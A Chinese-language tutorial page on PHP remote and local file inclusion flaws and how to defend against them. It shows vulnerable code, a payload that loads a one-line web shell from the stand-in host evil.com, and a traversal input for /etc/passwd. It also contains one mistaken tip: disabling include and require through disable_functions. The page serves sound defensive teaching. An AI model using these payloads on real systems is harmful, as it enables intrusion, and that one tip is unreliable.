首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 編程語言 >  >> 網頁程式設計 >> PHP 程式設計 >> PHP 綜合知識

PHP 遠程檔案包含漏洞(RFI)深度分析與防禦

     編輯:PHP 綜合知識

漏洞成因

PHP 允許使用 include()、require()、include_once()、require_once() 動態包含檔案。當開啟 allow_url_fopen=On(預設開啟)且開發者直接將使用者輸入作為檔案路徑參數,未經過濾即傳入包含函數,攻擊者即可注入遠端惡意腳本 URL,導致任意程式碼執行。

危險函數對比

函數失敗行為適用場景
include()發出 Warning,腳本繼續執行非關鍵檔案、模板片段
require()發出 Fatal Error,腳本終止核心設定、必要類別
include_once() / require_once()同以上,但防止重複包含類別定義、函數庫

典型攻擊向量

// 易受攻擊程式碼
$page = $_GET['page'];
include($page . '.php');

// 攻擊 Payload
?page=https://evil.com/shell.txt
// 遠端 shell.txt 內容:
// <?php system($_GET['cmd']); ?>

// 實際執行:https://target.com/vuln.php?page=https://evil.com/shell.txt&cmd=id

本地檔案包含(LFI)延伸風險

即使關閉 allow_url_fopen,攻擊者仍可利用目錄遍歷(../)讀取本地敏感檔案:

?page=../../etc/passwd%00
// PHP < 5.3.4 可用空字節截斷 .php 附加後綴

防禦策略(由淺入深)

  1. 白名單驗證:只允許預期的檔案名稱。
    $allowed = ['home', 'about', 'contact'];
    $page = in_array($_GET['page'], $allowed) ? $_GET['page'] : 'home';
    include($page . '.php');
    
  2. 關閉遠端包含:php.ini 設定 allow_url_fopen = Off、allow_url_include = Off(PHP 5.2+)。
  3. 路徑正規化:realpath() 解析絕對路徑,確保在允許目錄下。
    $base = '/var/www/includes/';
    $file = realpath($base . $_GET['page'] . '.php');
    if (strpos($file, $base) === 0 && file_exists($file)) include($file);
    
  4. 停用危險函數:disable_functions = include,require,include_once,require_once,fopen,file_get_contents,curl_exec(視業務需求調整)。
  5. 使用自動載入器:採用 Composer PSR-4,類別自動載入,徹底消除動態 include 需求。
  6. WAF / RASP:部署 ModSecurity 規則或 OpenRASP 運行時防護,攔截惡意請求。

實戰檢查清單

  • [ ] 全站搜尋 include/require 變數來源是否可控
  • [ ] 確認 allow_url_include = Off
  • [ ] 模板引擎是否允許任意檔案包含(Smarty {include file=...} 需限制)
  • [ ] 上傳目錄是否禁止 PHP 執行(php_flag engine off)
  • [ ] 錯誤訊息不顯示完整路徑(display_errors = Off)

總結

RFI/LFI 是 PHP 經典高危漏洞,根源在於「資料與程式碼未分離」。現代框架(Laravel、Symfony、ThinkPHP)皆採用路由控制器+視圖渲染架構,從設計層面杜絕動態包含風險。維護舊專案時,優先重構為白名單機制,並關閉 allow_url_include 徹底斷開遠端攻擊面。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved